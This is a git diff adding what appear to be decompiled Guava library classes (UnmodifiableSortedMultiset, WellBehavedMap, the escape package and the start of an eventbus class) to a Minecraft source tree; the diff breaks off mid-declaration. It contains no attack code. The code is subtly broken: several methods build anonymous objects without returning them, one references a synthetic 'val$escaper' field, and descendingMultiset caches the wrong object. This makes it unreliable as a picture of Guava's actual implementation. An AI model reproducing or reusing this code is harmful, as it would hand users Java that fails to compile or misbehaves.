+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/UnmodifiableSortedMultiset.java b/src/minecraft/com/google/common/collect/UnmodifiableSortedMultiset.java
new file mode 100644
index 0000000..c063844
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/UnmodifiableSortedMultiset.java
@@ -0,0 +1,111 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.NavigableSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class UnmodifiableSortedMultiset<E>
+  extends Multisets.UnmodifiableMultiset<E>
+  implements SortedMultiset<E>
+{
+  private transient UnmodifiableSortedMultiset<E> descendingMultiset;
+  private static final long serialVersionUID = 0L;
+  
+  UnmodifiableSortedMultiset(SortedMultiset<E> delegate)
+  {
+    super(delegate);
+  }
+  
+  protected SortedMultiset<E> delegate()
+  {
+    return (SortedMultiset)super.delegate();
+  }
+  
+  public Comparator<? super E> comparator()
+  {
+    return delegate().comparator();
+  }
+  
+  NavigableSet<E> createElementSet()
+  {
+    return Sets.unmodifiableNavigableSet(delegate().elementSet());
+  }
+  
+  public NavigableSet<E> elementSet()
+  {
+    return (NavigableSet)super.elementSet();
+  }
+  
+
+
+  public SortedMultiset<E> descendingMultiset()
+  {
+    UnmodifiableSortedMultiset<E> result = descendingMultiset;
+    if (result == null) {
+      result = new UnmodifiableSortedMultiset(delegate().descendingMultiset());
+      
+      descendingMultiset = this;
+      return this.descendingMultiset = result;
+    }
+    return result;
+  }
+  
+  public Multiset.Entry<E> firstEntry()
+  {
+    return delegate().firstEntry();
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    return delegate().lastEntry();
+  }
+  
+  public Multiset.Entry<E> pollFirstEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Multiset.Entry<E> pollLastEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public SortedMultiset<E> headMultiset(E upperBound, BoundType boundType)
+  {
+    return Multisets.unmodifiableSortedMultiset(delegate().headMultiset(upperBound, boundType));
+  }
+  
+
+
+
+  public SortedMultiset<E> subMultiset(E lowerBound, BoundType lowerBoundType, E upperBound, BoundType upperBoundType)
+  {
+    return Multisets.unmodifiableSortedMultiset(delegate().subMultiset(lowerBound, lowerBoundType, upperBound, upperBoundType));
+  }
+  
+
+  public SortedMultiset<E> tailMultiset(E lowerBound, BoundType boundType)
+  {
+    return Multisets.unmodifiableSortedMultiset(delegate().tailMultiset(lowerBound, boundType));
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/UsingToStringOrdering.java b/src/minecraft/com/google/common/collect/UsingToStringOrdering.java
new file mode 100644
index 0000000..c26dcf3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/UsingToStringOrdering.java
@@ -0,0 +1,46 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class UsingToStringOrdering
+  extends Ordering<Object>
+  implements Serializable
+{
+  static final UsingToStringOrdering INSTANCE = new UsingToStringOrdering();
+  private static final long serialVersionUID = 0L;
+  
+  public int compare(Object left, Object right) { return left.toString().compareTo(right.toString()); }
+  
+
+  private Object readResolve()
+  {
+    return INSTANCE;
+  }
+  
+  public String toString() {
+    return "Ordering.usingToString()";
+  }
+  
+  private UsingToStringOrdering() {}
+}
diff --git a/src/minecraft/com/google/common/collect/WellBehavedMap.java b/src/minecraft/com/google/common/collect/WellBehavedMap.java
new file mode 100644
index 0000000..f614cb5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/WellBehavedMap.java
@@ -0,0 +1,98 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class WellBehavedMap<K, V>
+  extends ForwardingMap<K, V>
+{
+  private final Map<K, V> delegate;
+  private Set<Map.Entry<K, V>> entrySet;
+  
+  private WellBehavedMap(Map<K, V> delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+
+
+
+
+
+  static <K, V> WellBehavedMap<K, V> wrap(Map<K, V> delegate)
+  {
+    return new WellBehavedMap(delegate);
+  }
+  
+  protected Map<K, V> delegate() {
+    return delegate;
+  }
+  
+  public Set<Map.Entry<K, V>> entrySet() {
+    Set<Map.Entry<K, V>> es = entrySet;
+    if (es != null) {
+      return es;
+    }
+    return this.entrySet = new EntrySet(null);
+  }
+  
+  private final class EntrySet extends Maps.EntrySet<K, V> {
+    private EntrySet() {}
+    
+    Map<K, V> map() { return WellBehavedMap.this; }
+    
+
+    public Iterator<Map.Entry<K, V>> iterator()
+    {
+      new TransformedIterator(keySet().iterator())
+      {
+        Map.Entry<K, V> transform(final K key) {
+          new AbstractMapEntry()
+          {
+            public K getKey() {
+              return key;
+            }
+            
+            public V getValue()
+            {
+              return get(key);
+            }
+            
+            public V setValue(V value)
+            {
+              return put(key, value);
+            }
+          };
+        }
+      };
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/package-info.java b/src/minecraft/com/google/common/collect/package-info.java
new file mode 100644
index 0000000..8960712
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.collect;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/escape/ArrayBasedCharEscaper.java b/src/minecraft/com/google/common/escape/ArrayBasedCharEscaper.java
new file mode 100644
index 0000000..87fd8dc
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/ArrayBasedCharEscaper.java
@@ -0,0 +1,148 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class ArrayBasedCharEscaper
+  extends CharEscaper
+{
+  private final char[][] replacements;
+  private final int replacementsLength;
+  private final char safeMin;
+  private final char safeMax;
+  
+  protected ArrayBasedCharEscaper(Map<Character, String> replacementMap, char safeMin, char safeMax)
+  {
+    this(ArrayBasedEscaperMap.create(replacementMap), safeMin, safeMax);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected ArrayBasedCharEscaper(ArrayBasedEscaperMap escaperMap, char safeMin, char safeMax)
+  {
+    Preconditions.checkNotNull(escaperMap);
+    replacements = escaperMap.getReplacementArray();
+    replacementsLength = replacements.length;
+    if (safeMax < safeMin)
+    {
+
+      safeMax = '\000';
+      safeMin = 65535;
+    }
+    this.safeMin = safeMin;
+    this.safeMax = safeMax;
+  }
+  
+
+
+
+
+
+  public final String escape(String s)
+  {
+    Preconditions.checkNotNull(s);
+    for (int i = 0; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if (((c < replacementsLength) && (replacements[c] != null)) || (c > safeMax) || (c < safeMin))
+      {
+        return escapeSlow(s, i);
+      }
+    }
+    return s;
+  }
+  
+
+
+
+
+  protected final char[] escape(char c)
+  {
+    if (c < replacementsLength) {
+      char[] chars = replacements[c];
+      if (chars != null) {
+        return chars;
+      }
+    }
+    if ((c >= safeMin) && (c <= safeMax)) {
+      return null;
+    }
+    return escapeUnsafe(c);
+  }
+  
+  protected abstract char[] escapeUnsafe(char paramChar);
+}
diff --git a/src/minecraft/com/google/common/escape/ArrayBasedEscaperMap.java b/src/minecraft/com/google/common/escape/ArrayBasedEscaperMap.java
new file mode 100644
index 0000000..94f40ee
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/ArrayBasedEscaperMap.java
@@ -0,0 +1,91 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class ArrayBasedEscaperMap
+{
+  private final char[][] replacementArray;
+  
+  public static ArrayBasedEscaperMap create(Map<Character, String> replacements)
+  {
+    return new ArrayBasedEscaperMap(createReplacementArray(replacements));
+  }
+  
+
+
+
+  private ArrayBasedEscaperMap(char[][] replacementArray)
+  {
+    this.replacementArray = replacementArray;
+  }
+  
+  char[][] getReplacementArray()
+  {
+    return replacementArray;
+  }
+  
+
+
+  @VisibleForTesting
+  static char[][] createReplacementArray(Map<Character, String> map)
+  {
+    Preconditions.checkNotNull(map);
+    if (map.isEmpty()) {
+      return EMPTY_REPLACEMENT_ARRAY;
+    }
+    char max = ((Character)Collections.max(map.keySet())).charValue();
+    char[][] replacements = new char[max + '\001'][];
+    for (Iterator i$ = map.keySet().iterator(); i$.hasNext();) { char c = ((Character)i$.next()).charValue();
+      replacements[c] = ((String)map.get(Character.valueOf(c))).toCharArray();
+    }
+    return replacements;
+  }
+  
+
+  private static final char[][] EMPTY_REPLACEMENT_ARRAY = new char[0][0];
+}
diff --git a/src/minecraft/com/google/common/escape/ArrayBasedUnicodeEscaper.java b/src/minecraft/com/google/common/escape/ArrayBasedUnicodeEscaper.java
new file mode 100644
index 0000000..9fe8dc9
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/ArrayBasedUnicodeEscaper.java
@@ -0,0 +1,198 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class ArrayBasedUnicodeEscaper
+  extends UnicodeEscaper
+{
+  private final char[][] replacements;
+  private final int replacementsLength;
+  private final int safeMin;
+  private final int safeMax;
+  private final char safeMinChar;
+  private final char safeMaxChar;
+  
+  protected ArrayBasedUnicodeEscaper(Map<Character, String> replacementMap, int safeMin, int safeMax, @Nullable String unsafeReplacement)
+  {
+    this(ArrayBasedEscaperMap.create(replacementMap), safeMin, safeMax, unsafeReplacement);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected ArrayBasedUnicodeEscaper(ArrayBasedEscaperMap escaperMap, int safeMin, int safeMax, @Nullable String unsafeReplacement)
+  {
+    Preconditions.checkNotNull(escaperMap);
+    replacements = escaperMap.getReplacementArray();
+    replacementsLength = replacements.length;
+    if (safeMax < safeMin)
+    {
+
+      safeMax = -1;
+      safeMin = Integer.MAX_VALUE;
+    }
+    this.safeMin = safeMin;
+    this.safeMax = safeMax;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (safeMin >= 55296)
+    {
+
+      safeMinChar = 65535;
+      safeMaxChar = '\000';
+    }
+    else
+    {
+      safeMinChar = ((char)safeMin);
+      safeMaxChar = ((char)Math.min(safeMax, 55295));
+    }
+  }
+  
+
+
+
+
+
+
+  public final String escape(String s)
+  {
+    Preconditions.checkNotNull(s);
+    for (int i = 0; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if (((c < replacementsLength) && (replacements[c] != null)) || (c > safeMaxChar) || (c < safeMinChar))
+      {
+        return escapeSlow(s, i);
+      }
+    }
+    return s;
+  }
+  
+
+  protected final int nextEscapeIndex(CharSequence csq, int index, int end)
+  {
+    while (index < end) {
+      char c = csq.charAt(index);
+      if (((c < replacementsLength) && (replacements[c] != null)) || (c > safeMaxChar) || (c < safeMinChar)) {
+        break;
+      }
+      
+      index++;
+    }
+    return index;
+  }
+  
+
+
+
+
+
+  protected final char[] escape(int cp)
+  {
+    if (cp < replacementsLength) {
+      char[] chars = replacements[cp];
+      if (chars != null) {
+        return chars;
+      }
+    }
+    if ((cp >= safeMin) && (cp <= safeMax)) {
+      return null;
+    }
+    return escapeUnsafe(cp);
+  }
+  
+  protected abstract char[] escapeUnsafe(int paramInt);
+}
diff --git a/src/minecraft/com/google/common/escape/CharEscaper.java b/src/minecraft/com/google/common/escape/CharEscaper.java
new file mode 100644
index 0000000..241222c
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/CharEscaper.java
@@ -0,0 +1,169 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class CharEscaper
+  extends Escaper
+{
+  private static final int DEST_PAD_MULTIPLIER = 2;
+  
+  protected CharEscaper() {}
+  
+  public String escape(String string)
+  {
+    Preconditions.checkNotNull(string);
+    
+    int length = string.length();
+    for (int index = 0; index < length; index++) {
+      if (escape(string.charAt(index)) != null) {
+        return escapeSlow(string, index);
+      }
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected final String escapeSlow(String s, int index)
+  {
+    int slen = s.length();
+    
+
+    char[] dest = Platform.charBufferFromThreadLocal();
+    int destSize = dest.length;
+    int destIndex = 0;
+    int lastEscape = 0;
+    for (; 
+        
+
+        index < slen; index++)
+    {
+
+      char[] r = escape(s.charAt(index));
+      
+
+      if (r != null)
+      {
+        int rlen = r.length;
+        int charsSkipped = index - lastEscape;
+        
+
+
+
+        int sizeNeeded = destIndex + charsSkipped + rlen;
+        if (destSize < sizeNeeded) {
+          destSize = sizeNeeded + 2 * (slen - index);
+          dest = growBuffer(dest, destIndex, destSize);
+        }
+        
+
+        if (charsSkipped > 0) {
+          s.getChars(lastEscape, index, dest, destIndex);
+          destIndex += charsSkipped;
+        }
+        
+
+        if (rlen > 0) {
+          System.arraycopy(r, 0, dest, destIndex, rlen);
+          destIndex += rlen;
+        }
+        lastEscape = index + 1;
+      }
+    }
+    
+    int charsLeft = slen - lastEscape;
+    if (charsLeft > 0) {
+      int sizeNeeded = destIndex + charsLeft;
+      if (destSize < sizeNeeded)
+      {
+
+        dest = growBuffer(dest, destIndex, sizeNeeded);
+      }
+      s.getChars(lastEscape, slen, dest, destIndex);
+      destIndex = sizeNeeded;
+    }
+    return new String(dest, 0, destIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected abstract char[] escape(char paramChar);
+  
+
+
+
+
+
+
+
+
+
+  private static char[] growBuffer(char[] dest, int index, int size)
+  {
+    char[] copy = new char[size];
+    if (index > 0) {
+      System.arraycopy(dest, 0, copy, 0, index);
+    }
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/google/common/escape/CharEscaperBuilder.java b/src/minecraft/com/google/common/escape/CharEscaperBuilder.java
new file mode 100644
index 0000000..318b4c7
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/CharEscaperBuilder.java
@@ -0,0 +1,131 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class CharEscaperBuilder
+{
+  private final Map<Character, String> map;
+  
+  private static class CharArrayDecorator
+    extends CharEscaper
+  {
+    private final char[][] replacements;
+    private final int replaceLength;
+    
+    CharArrayDecorator(char[][] replacements)
+    {
+      this.replacements = replacements;
+      replaceLength = replacements.length;
+    }
+    
+
+
+
+    public String escape(String s)
+    {
+      int slen = s.length();
+      for (int index = 0; index < slen; index++) {
+        char c = s.charAt(index);
+        if ((c < replacements.length) && (replacements[c] != null)) {
+          return escapeSlow(s, index);
+        }
+      }
+      return s;
+    }
+    
+    protected char[] escape(char c) {
+      return c < replaceLength ? replacements[c] : null;
+    }
+  }
+  
+
+
+
+
+  private int max = -1;
+  
+
+
+  public CharEscaperBuilder()
+  {
+    map = new HashMap();
+  }
+  
+
+
+  public CharEscaperBuilder addEscape(char c, String r)
+  {
+    map.put(Character.valueOf(c), Preconditions.checkNotNull(r));
+    if (c > max) {
+      max = c;
+    }
+    return this;
+  }
+  
+
+
+  public CharEscaperBuilder addEscapes(char[] cs, String r)
+  {
+    Preconditions.checkNotNull(r);
+    for (char c : cs) {
+      addEscape(c, r);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public char[][] toArray()
+  {
+    char[][] result = new char[max + 1][];
+    for (Map.Entry<Character, String> entry : map.entrySet()) {
+      result[((Character)entry.getKey()).charValue()] = ((String)entry.getValue()).toCharArray();
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  public Escaper toEscaper()
+  {
+    return new CharArrayDecorator(toArray());
+  }
+}
diff --git a/src/minecraft/com/google/common/escape/Escaper.java b/src/minecraft/com/google/common/escape/Escaper.java
new file mode 100644
index 0000000..8d8616b
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/Escaper.java
@@ -0,0 +1,102 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class Escaper
+{
+  private final Function<String, String> asFunction = new Function()
+  {
+    public String apply(String from)
+    {
+      return escape(from);
+    }
+  };
+  
+  protected Escaper() {}
+  
+  public abstract String escape(String paramString);
+  
+  public final Function<String, String> asFunction() { return asFunction; }
+}
diff --git a/src/minecraft/com/google/common/escape/Escapers.java b/src/minecraft/com/google/common/escape/Escapers.java
new file mode 100644
index 0000000..4bde55a
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/Escapers.java
@@ -0,0 +1,275 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class Escapers
+{
+  private Escapers() {}
+  
+  public static Escaper nullEscaper()
+  {
+    return NULL_ESCAPER;
+  }
+  
+
+
+  private static final Escaper NULL_ESCAPER = new CharEscaper() {
+    public String escape(String string) {
+      return (String)Preconditions.checkNotNull(string);
+    }
+    
+    protected char[] escape(char c)
+    {
+      return null;
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Builder builder()
+  {
+    return new Builder(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static final class Builder
+  {
+    private final Map<Character, String> replacementMap = new HashMap();
+    
+    private char safeMin = '\000';
+    private char safeMax = 65535;
+    private String unsafeReplacement = null;
+    
+
+
+
+
+
+    private Builder() {}
+    
+
+
+
+
+
+    public Builder setSafeRange(char safeMin, char safeMax)
+    {
+      this.safeMin = safeMin;
+      this.safeMax = safeMax;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder setUnsafeReplacement(@Nullable String unsafeReplacement)
+    {
+      this.unsafeReplacement = unsafeReplacement;
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder addEscape(char c, String replacement)
+    {
+      Preconditions.checkNotNull(replacement);
+      
+      replacementMap.put(Character.valueOf(c), replacement);
+      return this;
+    }
+    
+
+
+    public Escaper build()
+    {
+      new ArrayBasedCharEscaper(replacementMap, safeMin, safeMax) {
+        private final char[] replacementChars = unsafeReplacement != null ? unsafeReplacement.toCharArray() : null;
+        
+        protected char[] escapeUnsafe(char c) {
+          return replacementChars;
+        }
+      };
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static UnicodeEscaper asUnicodeEscaper(Escaper escaper)
+  {
+    Preconditions.checkNotNull(escaper);
+    if ((escaper instanceof UnicodeEscaper))
+      return (UnicodeEscaper)escaper;
+    if ((escaper instanceof CharEscaper)) {
+      return wrap((CharEscaper)escaper);
+    }
+    
+
+    throw new IllegalArgumentException("Cannot create a UnicodeEscaper from: " + escaper.getClass().getName());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String computeReplacement(CharEscaper escaper, char c)
+  {
+    return stringOrNull(escaper.escape(c));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String computeReplacement(UnicodeEscaper escaper, int cp)
+  {
+    return stringOrNull(escaper.escape(cp));
+  }
+  
+  private static String stringOrNull(char[] in) {
+    return in == null ? null : new String(in);
+  }
+  
+  private static UnicodeEscaper wrap(CharEscaper escaper)
+  {
+    new UnicodeEscaper()
+    {
+      protected char[] escape(int cp) {
+        if (cp < 65536) {
+          return val$escaper.escape((char)cp);
+        }
+        
+
+
+
+        char[] surrogateChars = new char[2];
+        Character.toChars(cp, surrogateChars, 0);
+        char[] hiChars = val$escaper.escape(surrogateChars[0]);
+        char[] loChars = val$escaper.escape(surrogateChars[1]);
+        
+
+
+
+
+        if ((hiChars == null) && (loChars == null))
+        {
+          return null;
+        }
+        
+        int hiCount = hiChars != null ? hiChars.length : 1;
+        int loCount = loChars != null ? loChars.length : 1;
+        char[] output = new char[hiCount + loCount];
+        if (hiChars != null)
+        {
+          for (int n = 0; n < hiChars.length; n++) {
+            output[n] = hiChars[n];
+          }
+        } else {
+          output[0] = surrogateChars[0];
+        }
+        if (loChars != null) {
+          for (int n = 0; n < loChars.length; n++) {
+            output[(hiCount + n)] = loChars[n];
+          }
+        } else {
+          output[hiCount] = surrogateChars[1];
+        }
+        return output;
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/escape/Platform.java b/src/minecraft/com/google/common/escape/Platform.java
new file mode 100644
index 0000000..ff718a3
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/Platform.java
@@ -0,0 +1,46 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class Platform
+{
+  private Platform() {}
+  
+  static char[] charBufferFromThreadLocal()
+  {
+    return (char[])DEST_TL.get();
+  }
+  
+
+
+
+
+
+  private static final ThreadLocal<char[]> DEST_TL = new ThreadLocal()
+  {
+    protected char[] initialValue() {
+      return new char['Ѐ'];
+    }
+  };
+}
diff --git a/src/minecraft/com/google/common/escape/UnicodeEscaper.java b/src/minecraft/com/google/common/escape/UnicodeEscaper.java
new file mode 100644
index 0000000..c1d2266
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/UnicodeEscaper.java
@@ -0,0 +1,310 @@
+package com.google.common.escape;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class UnicodeEscaper
+  extends Escaper
+{
+  private static final int DEST_PAD = 32;
+  
+  protected UnicodeEscaper() {}
+  
+  protected abstract char[] escape(int paramInt);
+  
+  protected int nextEscapeIndex(CharSequence csq, int start, int end)
+  {
+    int index = start;
+    while (index < end) {
+      int cp = codePointAt(csq, index, end);
+      if ((cp < 0) || (escape(cp) != null)) {
+        break;
+      }
+      index += (Character.isSupplementaryCodePoint(cp) ? 2 : 1);
+    }
+    return index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String escape(String string)
+  {
+    Preconditions.checkNotNull(string);
+    int end = string.length();
+    int index = nextEscapeIndex(string, 0, end);
+    return index == end ? string : escapeSlow(string, index);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final String escapeSlow(String s, int index)
+  {
+    int end = s.length();
+    
+
+    char[] dest = Platform.charBufferFromThreadLocal();
+    int destIndex = 0;
+    int unescapedChunkStart = 0;
+    
+    while (index < end) {
+      int cp = codePointAt(s, index, end);
+      if (cp < 0) {
+        throw new IllegalArgumentException("Trailing high surrogate at end of input");
+      }
+      
+
+
+
+      char[] escaped = escape(cp);
+      int nextIndex = index + (Character.isSupplementaryCodePoint(cp) ? 2 : 1);
+      if (escaped != null) {
+        int charsSkipped = index - unescapedChunkStart;
+        
+
+
+        int sizeNeeded = destIndex + charsSkipped + escaped.length;
+        if (dest.length < sizeNeeded) {
+          int destLength = sizeNeeded + (end - index) + 32;
+          dest = growBuffer(dest, destIndex, destLength);
+        }
+        
+        if (charsSkipped > 0) {
+          s.getChars(unescapedChunkStart, index, dest, destIndex);
+          destIndex += charsSkipped;
+        }
+        if (escaped.length > 0) {
+          System.arraycopy(escaped, 0, dest, destIndex, escaped.length);
+          destIndex += escaped.length;
+        }
+        
+        unescapedChunkStart = nextIndex;
+      }
+      index = nextEscapeIndex(s, nextIndex, end);
+    }
+    
+
+
+    int charsSkipped = end - unescapedChunkStart;
+    if (charsSkipped > 0) {
+      int endIndex = destIndex + charsSkipped;
+      if (dest.length < endIndex) {
+        dest = growBuffer(dest, destIndex, endIndex);
+      }
+      s.getChars(unescapedChunkStart, end, dest, destIndex);
+      destIndex = endIndex;
+    }
+    return new String(dest, 0, destIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static int codePointAt(CharSequence seq, int index, int end)
+  {
+    Preconditions.checkNotNull(seq);
+    if (index < end) {
+      char c1 = seq.charAt(index++);
+      if ((c1 < 55296) || (c1 > 57343))
+      {
+
+        return c1; }
+      if (c1 <= 56319)
+      {
+        if (index == end) {
+          return -c1;
+        }
+        
+        char c2 = seq.charAt(index);
+        if (Character.isLowSurrogate(c2)) {
+          return Character.toCodePoint(c1, c2);
+        }
+        throw new IllegalArgumentException("Expected low surrogate but got char '" + c2 + "' with value " + c2 + " at index " + index + " in '" + seq + "'");
+      }
+      
+
+
+      throw new IllegalArgumentException("Unexpected low surrogate character '" + c1 + "' with value " + c1 + " at index " + (index - 1) + " in '" + seq + "'");
+    }
+    
+
+
+
+    throw new IndexOutOfBoundsException("Index exceeds specified range");
+  }
+  
+
+
+
+
+  private static char[] growBuffer(char[] dest, int index, int size)
+  {
+    char[] copy = new char[size];
+    if (index > 0) {
+      System.arraycopy(dest, 0, copy, 0, index);
+    }
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/google/common/escape/package-info.java b/src/minecraft/com/google/common/escape/package-info.java
new file mode 100644
index 0000000..89a3277
--- /dev/null
+++ b/src/minecraft/com/google/common/escape/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.escape;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/eventbus/AllowConcurrentEvents.java b/src/minecraft/com/google/common/eventbus/AllowConcurrentEvents.java
new file mode 100644
index 0000000..8dfe9c3
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/AllowConcurrentEvents.java
@@ -0,0 +1,12 @@
+package com.google.common.eventbus;
+
+import com.google.common.annotations.Beta;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+@Beta
+public @interface AllowConcurrentEvents {}
diff --git a/src/minecraft/com/google/common/eventbus/AnnotatedSubscriberFinder.java b/src/minecraft/com/google/common/eventbus/AnnotatedSubscriberFinder.java
new file mode 100644
index 0000000..388092e
--- /dev/null
+++ b/src/minecraft/com/google/common/eventbus/AnnotatedSubscriberFinder.java
@@ -0,0 +1,176 @@
+package com.google.common.eventbus;
+
+import com.google.common.base.Objects;
+import com.google.common.base.Throwables;
+import com.google.common.cache.CacheBuilder;
+import com.google.common.cache.CacheLoader;
+import com.google.common.cache.LoadingCache;
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import com.google.common.reflect.TypeToken;
+import com.google.common.reflect.TypeToken.TypeSet;
+import com.google.common.util.concurrent.UncheckedExecutionException;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class AnnotatedSubscriberFinder
